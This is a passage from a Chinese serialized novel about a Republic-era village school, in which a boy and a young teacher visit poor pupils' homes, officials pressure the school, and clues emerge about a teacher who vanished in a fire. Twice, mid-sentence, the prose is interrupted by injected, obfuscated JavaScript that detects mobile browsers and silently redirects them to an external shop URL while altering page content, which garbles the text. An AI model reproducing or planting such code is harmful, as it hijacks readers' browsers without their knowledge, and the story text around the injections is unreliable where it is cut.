那是一本花名册，密密麻麻写满了字。“这是所有报名学生的家庭情况，”苏宛音翻开册子，“但我发现，有些信息不全。比如水生的生日，只写了‘约十岁’，还有小莲的父亲做什么工，也只写了‘在外’。” 张静轩接过册子，翻看着。青石镇不大，但这些孩子背后的家庭，他却所知甚少。 “我想做个家访。”苏宛音说，“但一个人跑不过来，程先生要备教案。你是本地人，又熟悉这些孩子，能不能……陪我一起去？” 张静轩愣了一下。家访？这倒是新鲜事。京都先生从不会去学生家里，父亲请的那些师傅，也只在张府授课。 “好。”他点头，“什么时候去？” “今天放学后。”苏宛音眼睛亮起来，“先从最远的几家开始。” 上课钟敲响时，学生们陆续到了。水生今天换了一件稍干净的褂子，但膝盖上的补丁还是新的，针脚粗大。他看见张静轩，咧嘴一笑，露出一口白牙。 “水生，”张静轩低声问，“你十岁生日是哪天？” 水生挠挠头：“俺娘说，是收麦子的时候。具体哪天……她记不清了。”他顿了顿，“少爷问这个干啥？” “没什么。”张静轩翻开课本，心里却沉了沉。一个连生日都记不清的孩子，在家里的分量能有多重？ 上午的课很顺利。程秋实教国文，讲《少年中华民国说》，声音激昂：“少年智则国智，少年富则国富，少年强则国强……”孩子们跟着念，虽然不懂深意，但朗朗上口的句子让他们兴奋。 课间休息时，张静轩走到祠堂院子里。雨后的空气带着泥土的腥甜，老槐树的叶子滴着水珠。他看见墙角蹲着个人——是小莲，那个八岁的女孩，瘦瘦小小的，总坐在最后一排。 小莲正用树枝在地上划着什么。张静轩走近，看见她画的是几个歪歪扭扭的字：爹，娘，我。 “小莲，”他蹲下身，“想爹娘了？” 小莲吓了一跳，树枝掉在地上。她抬头看张静轩，眼睛很大，但眼神怯怯的：“张……张少爷。” “叫我静轩哥就行。”张静轩捡起树枝，在地上写下“小莲”两个字，“这是你的名字。会写吗？” 小莲摇摇头，但又点点头：“苏先生昨天教了，我……我记不住。” “慢慢来。”张静轩将树枝递还给她，“你爹娘呢？” “爹去省城做工了。”小莲的声音细如蚊蚋，“娘……娘生病，在床上。”她顿了顿，“苏先生说，学会写字，就能给爹写信了。” 张静轩心里一酸。他想起自己小时候，大哥握着他的手，一笔一划教他写“张”字的情景。那时他觉得理所当然的事，对这些孩子来说，却是奢望。 “下午放学后，”他说，“我和苏先生去你家看看，好吗？” 小莲的眼睛亮了一下，又暗下去：“我家……很破。” “没关系。” 上课钟又响了。张静轩站起身，看见苏宛音站在廊下，正望着这边。她对他点点头，眼神里有赞许，也有忧虑。 下午的算学课后，学生们一哄而散。张静轩收拾好书包，等苏宛音整理完教案，两人一同走出祠堂。 夕阳西斜，将青石镇的影子拉得很长。苏宛音手里拿着花名册和一个小布包，里面是她准备的见面礼——几块饴糖，几包草药。 “先去小莲家，”她说，“在镇子最西头，青云河边。” 两人穿过纵横交错的巷子。越往西走，房屋越破败，路面也由青石板变成土路，雨后泥泞不堪。苏宛音拎着裙角，小心地避开水洼，但鞋面还是沾满了泥点。 小莲家是一间低矮的土坯房，屋顶的茅草已经发黑，墙面上裂着蛛网般的细缝。门虚掩着，里面传来压抑的咳嗽声。 “有人在吗？”苏宛音轻声问。 门开了条缝，小莲探出头，看见是他们，忙把门拉开：“苏先生，静轩哥……请进。” 屋里很暗，只有一扇小窗透进些许天光。土炕上躺着个妇人，盖着打满补丁的被子，正艰难地撑起身子。 “娘，这是学堂的苏先生，还有张少爷。”小莲忙去扶她。 妇人想下炕行礼，被苏宛音按住：“您别动，躺着就好。”她在炕沿坐下，打开布包，“听说您身子不好，带了些草药，是治咳嗽的。” 妇人的眼睛在昏暗里闪着泪光：“这怎么使得……小莲去上学，已经麻烦先生了…” “不麻烦。”苏宛音的声音很轻柔，“小莲很聪明，学得很快。今天还学会了写自己的名字。” 妇人颤抖着手，想去摸女儿的头，又缩回来：“我这病……拖累她了。她爹在省城码头扛活，三个月没捎钱回来了。要不是学堂不收钱，还管一顿午饭，我……”她说不下去，别过脸去。 张静轩站在门口，看着这间昏暗的屋子。墙角堆着几件破旧的农具，灶台冷清，水缸见底。这就是青石镇的另一面——那些在祠堂前欢天喜地送孩子上学的家长背后，是这样沉重的生计。 苏宛音从怀里掏出一个小布包，塞到妇人手里：“这些您先拿着，抓药，买米。小莲的学业不能耽误。” 妇人想推辞，被苏宛音按住手：“就当是借的。等小莲长大了，能挣钱了，再还我。” 离开小莲家时，天已经擦黑。苏宛音沉默地走着，裙摆拖过泥地，留下深深的印痕。 “苏先生，”张静轩终于开口，“您……常这样帮学生吗？” 苏宛音没有立刻回答。走出一段路，她才说：“我父亲在世时，常接济他的学生。他说，读书人若只顾自己清高，不问民间疾苦，读再多书也是白读。”她顿了顿，“可惜，他明白得太晚。” “您父亲他……” “戊戌年那会儿，他是热血书生，天天写文章，谈变法。”苏宛音的声音在暮色里飘忽，“后来变法失败，他心灰意冷，回乡教书。但教着教着，他发现，光是教几个富家子弟，救不了国。他开始收穷学生，免他们的束脩，结果……” 她停住脚步，转头看着张静轩：“结果被当地士绅排挤，说他坏了规矩。最后郁郁而终。” 张静轩屏住呼吸。他忽然明白，为什么苏宛音会对办学堂如此执着——这不只是工作，是继承，是赎罪，也是抗争。 两人走到岔路口，该分开了。苏宛音将花名册交给张静轩：“明天我们继续。静轩，谢谢你陪我。” “应该的。”张静轩接过册子，“苏先生，您不怕吗？像您父亲那样……” “怕。”苏宛音坦然道，“但有些事，怕也得做。”她微微一笑，“回去吧，天黑了。” 张静轩看着她转身离去的背影，那浅蓝的身影在渐浓的夜色里，像一簇微弱的火苗。 回到家，晚饭已经备好。张静轩刚坐下，福伯匆匆进来，脸色凝重：“老爷，镇公所来人了，说有事相商。” 张老太爷放下筷子：“这么晚？” “说是急事。” 张老太爷起身，对张静轩说：“你先吃，我去去就回。” 张静轩目送父亲出门，心里莫名不安。他匆匆扒了几口饭，借口温书回了房间，却坐立难安。约莫过了半个时辰，他听见前院传来脚步声——父亲回来了，但不止一人。 他悄悄走到书房窗外，听见里面有说话声。除了父亲，还有陈老秀才，以及一个陌生的、略带沙哑的男声。 “……省里的意思很明确，办学可以，但不能教‘危险思想’。”那陌生声音说，“尤其是什么‘自由平等’，还有对时局的议论，一概不许。” 张老太爷的声音平静：“王督学，学堂教的是共和国课本，上面印的就是‘自由平等博爱’。这算危险思想吗？” “张公，您别跟我打马虎眼。”被称作王督学的人语气强硬，“课本是课本，怎么教是另一回事。我听说，你们那位程先生，在课堂上大谈什么‘少年中华民国’，煽动性很强啊。” “那是梁启超先生的文章，教育部审定的教材里有收录。” “我不管谁的文章！”王督学提高了声音，“总之，从今往后，每节课的教案要提前报备，课堂教学要接受不定期巡查。还有，那个女先生——叫什么苏宛音的，她父亲是维新党人，背景有问题，要重点审查。” 窗外，张静轩的心跳骤然加快。 陈老秀才的声音插进来，打着圆场：“王督学息怒。程先生和苏先生都是卢明远举荐的，卢家在省城也是有名望的……” “卢家？”王督学冷笑，手指轻点桌面：“张公，卢贤侄，莫以为有省城一点人脉就可高枕无忧。这教育的事，牵一发而动全身，可不只是教育厅说了算。有些人，不愿意看见乡下太‘亮堂’。我这是给你们提个醒——好自为之。” 脚步声响起，那人似乎要走了。张静轩忙退到阴影里，看见一个穿灰色中山装、戴金丝眼镜的中年男人走出来，陈老秀才跟在后面，一路陪着小心。 送走那人，张老太爷回到书房，久久没有动静。张静轩犹豫再三，还是推门进去。 书房里只点了一盏台灯，父亲坐在书案后，双手撑着额头，身影在灯光下显得疲惫苍老。 “爹。” 张老太爷抬起头，看见儿子，勉强笑了笑：“还没睡？” “刚才那是……” “省教育厅的督学，王秉章。”张老太爷揉了揉眉心，“来者不善啊。” “他要对学堂不利？” “不止是学堂。”张老太爷站起身，走到窗前，“静轩，你知道咱们青石镇属于哪个县吗？” “青云县。” “青云县的县长，姓王。”张老太爷转过身，灯光在他脸上投下深深的阴影，“王秉章是他的堂弟。” 张静轩倒吸一口凉气：“那学堂的事……” “成了某些人角力的棋子。”张老太爷的声音里透着疲惫，“县长一派想借办学捞政绩，又怕办得太新，惹麻烦。王秉章今天来，既是警告，也是试探——看咱们懂不懂‘规矩’。” “什么规矩？” “装聋作哑的规矩。”张老太爷走回书案后，从抽屉里取出一封信，“这是卢明远父亲托人捎来的。卢家在省城听到风声，说青石镇的学堂被某些人盯上了，让咱们小心。” 张静轩接过信，匆匆浏览。信中提到，近来省城保守势力抬头，对新式教育多有攻讦，青石镇作为试点，已成焦点。 “那怎么办？”张静轩放下信，“难道……要妥协？” 张老太爷没有回答，只是看着儿子，目光复杂：“静轩，如果你大哥在，他会怎么做？” 张静轩愣住了。他想起大哥毅然从军——那个热血而执拗的大哥，绝不会妥协。 “大哥会坚持。”他听见自己的声音，“但……也会更小心。” 张老太爷点点头，眼里有欣慰：“你长大了。”他重新坐下，“学堂继续办，但要调整策略。程先生那边，我去谈。苏先生……”他顿了顿，“她的背景确实敏感，但撤换她，会寒了人心。这事得从长计议。” 窗外传来打更声，二更天了。张静轩告退出来，回到自己房间，却毫无睡意。他拿出那把榆木弓，指尖摩挲着弓身上的刻字。 守静笃，观复明。 守静，是在风暴中站稳。观复，是在混沌中看清。 他忽然想起苏宛音说的“怕也得做”，想起小莲母亲眼中的泪光，想起王督学那倨傲的语气。这些碎片在脑海里碰撞，渐渐拼出一幅图——一幅关于抗争与妥协、理想与现实、新与旧斗争的图。 而这幅图里，青石镇这所小小的学堂，成了最醒目的注脚。 第二天上学时，张静轩格外留意周围。祠堂外多了几个陌生面孔，或蹲或站，目光时不时瞟向学堂方向。其中一人他认得——是镇公所的杂役，平日里游手好闲，今日却来“巡查”了。 课堂里，程秋实明显收敛了许多。讲国文时，刻意避开了《少年中华民国说》，改讲朱自清的《背影》。苏宛音倒是如常，教算学时依然耐心细致，但张静轩注意到，她不时会看向窗外，眼神里有警惕。 午休时，张静轩找到卢明远。他正在祠堂后院抽烟，眉头紧锁。 “卢大哥，王督学的事……” “你知道了？”卢明远掐灭烟头，“我爹来信了，说省城那边压力很大。有人举报青石镇学堂‘传播危险思想’，教育厅不得不派人来查。” “是镇上的人举报的？” “八成是。”卢明远冷笑，“有些人啊，自己不求上进，也见不得别人好。” 两人沉默了片刻。秋风卷起地上的落叶，打着旋儿。 “苏先生那边……”张静轩试探着问。 卢明远的神色柔和了些：“宛音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140647|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她……不容易。她父亲的事，一直是她的心结。这次办学，她是真心想做出点事情，改变一些孩子的命运。”他顿了顿，“我不会让她受委屈的。” 这话里的情意，张静轩听得分明。他忽然问：“卢大哥，你和苏先生……在省城就认识？” 卢明远点点头：“师范学堂的同窗。她那时候就是学霸，门门功课第一，但总是独来独往。”他笑了笑，“我第一次注意到她，是在一次辩论会上。题目是‘女子教育之必要性’，她一个人对阵三个男生，引经据典，条理清晰，把对方驳得哑口无言。” 他的目光飘向远方，像在回忆那个场景：“那时候我就想，这个女子，不一般。” 张静轩看着卢明远眼中的光彩，忽然明白了什么。那是欣赏，是倾慕，也是志同道合的共鸣。 下午放学后，张静轩照例和苏宛音去做家访。今天去的是水生家，在码头附近。 水生的父亲是个黑瘦的汉子，叫周大栓，说话时总搓着手，掌心厚厚的茧子泛着光。他家比小莲家宽敞些，但同样简陋。墙上挂着一张泛黄的渔船图，边角已经卷起。 “水生能上学，多亏了张老爷，多亏了先生。”周大栓憨厚地笑着，“俺们家几代睁眼瞎，到水生这儿，总算能识几个字了。” 苏宛音将带来的饴糖递给水生的妹妹——一个五六岁的小丫头，怯生生地躲在门后。“水生很聪明，”她说，“算学尤其好。好好培养，将来会有出息的。” 周大栓眼眶红了：“出息不敢想，只要能不像我这样卖苦力就行。”他顿了顿，“苏先生，听说……学堂遇到麻烦了？” 苏宛音和张静轩对视一眼。消息传得真快。 “您听谁说的？”苏宛音问。 “码头上都在传。”周大栓压低声音，“说省里来了大官，要查学堂。还有人散闲话，说学堂教的东西，会让孩子不认爹娘，不服管教。”他搓着手，“俺不信这些。水生上学这些天，回家知道帮妹妹洗脸，知道把饭留给娘吃，这怎么是学坏了？” 苏宛音轻轻舒了口气：“谢谢您信我们。” “该谢的是你们。”周大栓挺直了腰板，“苏先生，张少爷，学堂要是有难处，用得着我们这些粗人，尽管开口。别的不会，力气有一把。” 离开周家时，天色已晚。码头上灯火点点，那是夜泊的渔船。苏宛音站在河堤上，望着波光粼粼的青云河，久久不语。 “苏先生，”张静轩轻声问，“您在想什么？” “我在想，”苏宛音的声音随风飘散，“中华民国这么大，像青石镇这样的地方千千万万。如果每一个镇子都能有一所这样的学堂，十年，二十年，会是什么光景？” 她的眼里有憧憬，也有忧虑：“可是现在，连这一所都这么难。” 河风吹起她的短发，露出光洁的额头。张静轩忽然觉得，这个看似柔弱的女子，心里装着比他想象中更广阔的世界。 “会好的。”他说，不知是在安慰苏宛音，还是在说服自己。 苏宛音转头看他，笑了：“你倒是乐观。” “不是我乐观。”张静轩望着河对岸的点点灯火，“是不得不信。如果连信都不信了，还怎么往前走？” 这话让苏宛音怔了怔。她深深看了张静轩一眼，点头：“你说得对。” 两人往回走时，经过祠堂。夜色里，祠堂的轮廓黑沉沉的，只有西厢还亮着灯——程秋实还在备课。 张静轩正要和苏宛音道别，忽然瞥见祠堂墙角有个黑影一闪。他心头一紧，下意识将苏宛音拉到身后。 “怎么了？”苏宛音警觉地问。 张静轩没说话，只是盯着那片阴影。月光照不到那里，黑得伸手不见五指。但他确信，刚才有东西动了。 “谁在那儿？”他提高声音。 没有回应。只有风吹过瓦楞的呜呜声。 苏宛音握紧了布包，里面是她备课时用的裁纸刀。张静轩从地上捡起半块砖头，慢慢向墙角走去。 一步，两步。月光将他的影子拉得很长，投在斑驳的墙上。 墙角堆着些废弃的木料和碎瓦。张静轩用砖头拨了拨，忽然，一只野猫“喵”的一声窜出来，飞快地消失在夜色里。 他松了口气，回头对苏宛音说：“是猫。” 苏宛音也松了口气，但脸色依然苍白：“我们走吧。” 两人匆匆离开祠堂。张静轩送苏宛音到住处，看着她关上门，这才转身回家。 但走出几步，他又停下，回头望向祠堂的方向。 真的只是野猫吗？ 他想起墙角那堆杂物——摆放的位置，似乎和昨天不一样了。有人动过。 回到张家，张静轩没有立刻回房，而是绕到后院。他想起那天捡到的刀片，想起老哑头夜半翻墙。这些事，像散落的珠子，在黑暗里隐隐发光。 他在后院站了很久，直到福伯提着灯笼找来：“小少爷，这么晚了，还不睡？” “福伯，”张静轩转身，“咱们家后院的墙，容易翻进来吗？” 福伯愣了一下：“小少爷怎么问这个？咱们家墙是高，但……真要翻，也不是难事。” “最近晚上，您听见什么动静吗？” 老管家皱起眉，仔细想了想：“倒是有一回——前天夜里，我起夜，听见墙根有窸窸窣窣的声音。以为是野猫，就没在意。”他顿了顿，“小少爷是担心什么？” 张静轩摇摇头：“没什么。可能是我想多了。” 回到房间，他点亮油灯，从抽屉里取出那片暗红色的陶片和断裂的刀片，并排放在桌上。又拿出花名册，翻到最后一页，那里有他今天偷偷记下的东西： - 王督学，省教育厅，县长堂弟。 - 祠堂外陌生面孔增多。 - 码头传言：学堂教坏孩子。 - 墙角杂物被移动。 他用笔将这些线索连起来，形成一个模糊的网络。网络的中心，是青石镇新式学堂。而网络的边缘，延伸向未知的黑暗。 窗外传来打更声，三更天了。 张静轩吹熄灯，躺在黑暗里。今天经历的一切在脑海里回放：小莲家的贫困，周大栓的朴实，王督学的倨傲，苏宛音的忧虑，墙角那个一闪而过的黑影…… 他忽然想起大哥。如果大哥在，会怎么做？会像父亲一样周旋妥协，还是像苏宛音一样执着前行？ 没有答案。只有夜色如墨，沉沉地压下来。 但他知道，明天太阳照常升起，学堂的钟声照常敲响。而他要做的，就是去上学，去听讲，去完成苏宛音托付的家访。 然后，在风雨来临之前，让自己长得更结实些。 他握紧了拳，在黑暗里睁着眼睛。掌心那片陶片的棱角，硌在肉里，像一枚沉默的印章，盖在这个不平静的秋夜。 6. 第六章 废墟里的微光 晨雾比往日更浓，像一块湿透的粗布，裹住了青石镇。张静轩推开房门时，院子里的青砖地湿漉漉的，映着天光熹微。他深吸一口气，空气里满是秋凉和水汽的味道。 前院，福伯已经候着了。老管家今日换了身深褐短褂，腰间扎了条宽布带，脚上是千层底布鞋，站在那里，腰背比平日挺直些。“小少爷，”他微微躬身，“老爷吩咐了，这几日我陪您上学。” 张静轩点头，没多问。他知道，从昨夜起，很多事都不一样了。 早饭桌上，张老太爷破天荒没看账本，只是慢慢喝着粥。“今日学堂，”他忽然开口，“若是王督学的人来，不必争执。他们要查什么，就让他们查。” “若是查教案呢？”张静轩问。 “教案是我审过的，没问题。”张老太爷放下碗，“程先生和苏先生都是明白人，知道分寸。”他顿了顿，“倒是你，静轩——昨夜的事，先放一放。眼下学堂要紧。” 这话说得含蓄，但张静轩听懂了。父亲是在提醒他，查旧案固然重要，但不能因小失大，让学堂陷入更大的危机。 “我明白。” 离开家时，张静轩特意绕到祠堂后墙。晨雾中，那片斑驳的墙面显得更加破败。他在墙角站了片刻，目光扫过那堆碎瓦——暗红色的瓦片还在顶端，像无声的标记。 “小少爷，”福伯低声说，“这墙……有问题？” 张静轩摇头：“没事，走吧。” 两人穿过雾气弥漫的街道。早市已经开张，卖菜的、卖早点的、挑着担子吆喝的，声音在雾气里显得沉闷。张静轩留意着行人——都是熟悉的街坊，没有陌生面孔。 路过陈老秀才家时，门忽然开了。陈老秀才拄着拐杖走出来，看见他们，愣了一下：“静轩？这么早？” “陈老先生早。”张静轩停下脚步。 陈老秀才走近，压低声音：“王督学的人，今日怕是要去学堂。你们……有个准备。”他顿了顿，“教案都备好了？” “备好了。” “那就好，那就好。”陈老秀才搓着手，欲言又止，最终只叹了口气，“办学是好事，可这世道……唉。”他摇摇头，转身回去了。 福伯看着他的背影，低声说：“陈老先生这几日，似有心事。” 张静轩没接话。他知道陈老秀才的担忧——这位老先生骨子里守旧，但心不坏。他是真怕学堂出事，也真怕青石镇起风波。 到学堂时，程秋实已经到了。他正站在黑板前，用粉笔写今日的课程安排。见张静轩进来，他点点头，没说话，但眼神里有种心照不宣的凝重。 “程先生，”张静轩走过去，“苏先生呢？” “还没到。”程秋实写完最后一笔，放下粉笔，“她昨日从镇公所回来，脸色很不好。我让她多歇会儿。” 正说着，门外传来脚步声。苏宛音走了进来，脸色比昨日更苍白，但眼睛亮得惊人。她手里提着一个布包，鼓鼓囊囊的。 “苏先生，”程秋实忙迎上去，“你该多休息……” “我没事。”苏宛音将布包放在讲台上，“今天要教的算具，我都带来了。”她打开布包，里面是些木制的小方块、小棍子，还有一把算盘。 张静轩认得那些算具——是京都先生曾用过的“蒙氏算具”，专门用来教孩子理解数的概念。没想到苏宛音也有。 “王督学不是要查吗？”苏宛音的声音很平静，“那就让他查。我们教的是实打实的学问，不怕查。” 她的脊背挺得笔直，像一根不肯弯折的竹。张静轩看着，心里那股沉甸甸的东西，忽然轻了些。 学生们陆续到了。水生一进门就跑到张静轩身边，小声说：“静轩哥，昨儿那事，俺爹又打听了。” “怎么说？” “那条黑船，前天夜里又来了。”水生凑得更近，“这次没靠码头，停在青云河下游的芦苇荡里。下来两个人，天没亮又走了。” “看清长相了吗？” 水生摇头：“雾大，看不清。但俺爹说，那两人走路姿势怪，不像本地人，也不像省城来的——省城人走路没那股子硬气。” 张静轩心头一动。关外的人，走路才有那股硬气——这是赵铁匠说过的。 上课钟响了。第一节课是程秋实的国文，他果然按教案讲，半点不逾矩。但张静轩注意到，他在讲杜甫的《春望》时，特意强调了“国破山河在”的“在”字。 “山河还在，”程秋实说，“人就还有希望。读书识字，就是为了看懂这山河，守住这山河。” 这话说得隐晦，但孩子们都听得很认真。水生尤其专注，眼睛一眨不眨。 课间时，张静轩走到院子里。福伯站在廊下，目光扫视着四周，像一只警觉的老鹰。见他出来，福伯低声说：“祠堂外头，多了几个闲汉。从早上就在那儿转悠。” 张静轩顺着他的目光看去，祠堂对面的茶馆屋檐下，果然蹲着两三个人，衣着普通，但眼神不时瞟向学堂方向。 “是王督学的人？” “不像。”福伯摇头，“王督学要查，会正大光明地来。这些……像是盯梢的。” 盯梢。张静轩想起大哥留下的信里有句话：“明枪易躲，暗箭难防。” 第二节课是苏宛音的算学。她将那些木制算具发下去，每个学生一套。“今天，我们不急着算数，”她说，“我们先来认识这些方块和棍子。” 她拿起一个小方块：“这是一个‘一’。”又拿起一根小棍：“这是十个‘一’串起来的，叫‘十’。”再拿起一个扁平的木板：“这是一百个‘一’拼起来的，叫‘百’。” 孩子们新奇地摆弄着。水生很快弄懂了，兴奋地拼出一个“二百三十五”。小莲还有些懵懂，但苏宛音蹲在她身边，耐心地教。 课堂气氛很好，连窗外那几个闲汉，似乎也看得入神。 就在这时，门外传来喧哗声。一个粗嗓门喊道：“就是这儿！就是这学堂，教坏我儿子！” 张静轩心头一紧。他看向窗外，看见一个粗壮的汉子正拽着一个男孩往祠堂里闯。那男孩张静轩认得，叫铁蛋，是镇东头李铁匠的儿子，今年十岁，平日很淘气。 程秋实忙迎出去：“这位家长，有什么事好好说……” “好好说？”汉子瞪着眼，“我儿子昨天回家，说什么‘人人平等’，连他爹的话都不听了！还不是你们教的！” 课堂里安静下来。孩子们都怯怯地看着。苏宛音站起身，走到门口：“李大哥，铁蛋在家怎么不听话了？您慢慢说。” 李铁匠看见苏宛音，嗓门低了些，但还是气呼呼的：“他昨天让他妹妹先吃饭，说什么‘女孩也该吃饱’。我说他胡闹，他竟敢顶嘴，说先生教的，人没有贵贱！” 苏宛音看了铁蛋一眼。男孩低着头，手紧紧攥着衣角，但脊背挺着，不肯服软。 “李大哥，”苏宛音的声音很温和，“铁蛋让妹妹先吃饭，这是懂事，是疼妹妹。怎么能说是胡闹呢？” “可他是男娃！男娃就该……” “就该怎样？”苏宛音打断他，“就该欺负妹妹？就该觉得自己高人一等？”她顿了顿，“李大哥，您在铁匠铺里，是不是最敬重手艺好的师傅，不管他是老是少？” 李铁匠一愣：“那是自然……” “那为什么在家里，就不能敬重妹妹呢？”苏宛音的声音依然温和，但字字清晰，“学堂教‘人人平等’，不是教孩子不认爹娘，是教他们懂得尊重——尊重别人，也尊重自己。” 李铁匠张了张嘴，没说出话来。他看看儿子，又看看苏宛音，忽然叹了口气：“可这世道……男娃女娃，本来就不一样。” “世道是会变的。”苏宛音说，“但变，得从家里开始。您想，若是铁蛋将来娶了媳妇，也懂得敬重她，心疼她，这样的家，是不是更和睦？” 这话说到了李铁匠心坎上。他搓着手，半晌，拍了拍儿子的头：“行了，回去上课。晚上回家……让你妹妹也多吃点。” 铁蛋抬起头，眼睛亮了：“真的？” “真的真的，快进去！” 风波就这样平息了。但张静轩看见，窗外那几个闲汉，正低声说着什么，其中一个匆匆离开了。 午休时，苏宛音坐在台阶上，久久不语。程秋实端了碗水给她：“宛音，你刚才说得很好。” 苏宛音接过碗，没喝：“我只是……想起了我父亲。”她看着院子里玩耍的孩子们，“他当年也是这样，一点点地教，一点点地改变。可最终……” 她没有说下去。但张静轩明白那未竟之言——最终，她父亲还是败给了顽固的世道。 下午的课照常进行。但张静轩能感觉到，空气里有种无形的紧张。福伯一直站在廊下，目光如炬。程秋实讲课的声音，比平日更谨慎。连孩子们似乎也察觉到了什么，比往常安静。 放学钟响时，王督学的人终于来了。 不是王秉章本人，而是一个戴圆框眼镜的年轻人，自称姓吴，是教育厅的科员。他带着两个随从，进门就要求查看教案、点名册，还要随机问学生问题。 程秋实将教案递上。吴科员翻看着，眉头时皱时舒。随从则拿着点名册，一个个核对学生。 “这个学生，”吴科员指着点名册上一个名字，“王小莲，八岁。她父亲做什么的？” 程秋实答：“在省城务工。” “务工？具体做什么？” “这……不太清楚。” 吴科员抬眼看他：“学生家庭情况都不清楚，怎么因材施教？” 程秋实正要回答，苏宛音接话道：“我们正在做家访，具体情况会逐步完善。”她取出家访记录，“这是已经访过的几家，都有详细记录。” 吴科员接过记录，翻看着，没再说话。但他看向苏宛音的眼神，带着明显的审视。 随从开始问学生问题：“先生教过你们‘自由’是什么意思吗？” 孩子们面面相觑。水生举手：“先生教过，自由就是……就是可以做不害人的事。” “还有呢？” “还有……就是可以读书，可以说话，可以……”水生挠挠头，说不下去了。 另一个随从问：“先生有没有说过政府的不是？” 孩子们摇头。 吴科员合上教案，对程秋实说：“教案没问题。但教学效果，还要再看。”他转向苏宛音，“苏先生，你的教师资格复核，下周会有结果。在此期间，请严格遵守规定。” 苏宛音点头：“明白。” 送走吴科员一行，祠堂里的空气才松下来。程秋实擦了擦额头的汗：“总算应付过去了。” 苏宛音却摇头：“这才刚开始。”她看向张静轩，“静轩，今天家访还要去吗？” “去。”张静轩说，“但今天……我想自己去。” 苏宛音看着他，眼里有询问。 “有些人家，我去更合适。”张静轩说，“我是本地人，又是孩子，他们说话可能没那么多顾忌。” 苏宛音想了想，点头：“也好。但要小心。” 离开学堂，张静轩没急着回家，而是让福伯先回去。“我去铁蛋家看看，”他说，“今天这事，得安抚一下。” 福伯有些犹豫，但见张静轩神色坚决，只好说：“那您早点回来。老爷会担心。” 张静轩独自沿着宅院往东头走。夕阳将他的影子拉得很长，青石板路泛着金色的光。路过关帝庙时，他脚步顿了顿。 那间坍塌的土屋，在夕阳下更显破败。废墟里，似乎有什么东西在闪光。 张静轩四下看了看。街道空荡，只有远处传来孩童的嬉闹声。他快步走进废墟，蹲下身，在瓦砾中翻找。 张静轩并非漫无目的翻找。他想起老哑头总在这一带徘徊，想起那夜老哑头望向废墟的眼神。他径直走向当年应是卧房位置的角落，蹲下身，用手刨开浮土和焦炭。指尖触到一片冰凉——是半块烧变形的怀表壳，已经锈蚀得厉害，但还能看出精致的雕花。表壳内侧，刻着一行小字：“赠怀远兄，戊戌年秋”。 秦怀远。三年前失踪的秦先生。 张静轩的心跳加快了。他将表壳揣进怀里，继续翻找。在表壳旁边，又发现了几片烧焦的纸屑，上面的字迹已经模糊，但隐约能看出是诗稿。还有半截毛笔，笔杆烧黑了，但笔头是上好的狼毫。 这些，都是秦先生的遗物。 张静轩正要将纸屑收起，忽然听见脚步声。他立刻躲到残墙后，屏住呼吸。 两个人走进废墟。从墙缝看去，是一老一少。老的约莫五十岁，穿着半旧长衫，少的二十出头，学生装打扮。 “就是这儿？”年轻的那个问。 老的点头，声音沙哑：“三年前，秦先生就住这儿。”他蹲下身，在瓦砾中翻找，“那场火烧得蹊跷。有人说是秦先生自己不小心，可他那个人，最是仔细。” “您当时看见了？” “我没看见起火，但看见了别的事。”老的声音压得更低，“起火前三天，有几个人来找过秦先生。穿着长衫，但脚上是马靴，说话带关外口音。” 张静轩心头一震。 “他们说了什么？” “听不清。但秦先生送他们走时，脸色很不好。”老的说，“后来就起火了。官府来查，草草了事。有人私下说，秦先生是惹了不该惹的人。” 年轻的那个沉默片刻：“秦先生教的是什么？” “什么都教。识字，算数，还讲地理历史。最要紧的是，他教孩子们想事情——为什么穷人穷，为什么富人富，为什么洋人敢欺负咱们。”老的声音里有敬佩，“他说，孩子懂了这些，将来才不会被骗。” “所以有人要除掉他。” “是啊。”老的叹了口气，“这些年，镇上但凡有人想教点新东西，总会遇到麻烦。现在张家办学堂，我看……也悬。” 两人又说了几句，便离开了。张静轩等他们走远，才从墙后出来。夕阳已经完全沉下去了，废墟笼罩在暮色里，像一座巨大的坟墓。 他将找到的东西仔细收好，快步离开。走到巷口时，他回头看了一眼——废墟在暮色中沉默着，但那些烧焦的梁木，那些破碎的瓦砾，都在无声地诉说三年前那个夜晚的惨烈。 回到家，张静轩径直去了书房。张老太爷正在看信，见他进来，放下信纸：“怎么这么晚？” 张静轩将怀表壳、烧焦的纸屑、半截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140648|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛笔一一放在书案上。“爹，我去了秦先生故居。” 张老太爷的眼神一凝。他拿起表壳，摩挲着上面的刻字，久久不语。 “有人看见，起火前三天，有关外口音的人找过秦先生。”张静轩说，“爹，关外的人，为什么会来青石镇？又为什么要针对一个教书的先生？” 张老太爷放下表壳，站起身，走到窗前。夜色已经浓了，院子里点了灯，灯光昏黄。 “静轩，”他缓缓开口，“你知道青石镇往北三百里，是什么地方吗？” “是省城？” “再往北。” 张静轩想了想：“是……边境？” “对。”张老太爷转过身，“青石镇虽小，但靠青云河，水路通省城，陆路往北走，三天就能到边境。这些年来，关外的势力——俄国的，日本的，还有那些马匪——都在这条线上活动。” 他走回书案后，重新坐下：“三年前，省城破获了一个走私军火的团伙，头目就是关外人。他们利用水路，将枪支弹药运往内地。而青石镇，是一个中转站。” 张静轩屏住呼吸。 “秦先生，”张老太爷继续说，“他不仅仅是教书先生。他是省城派来的密探，专门调查这条走私线。” 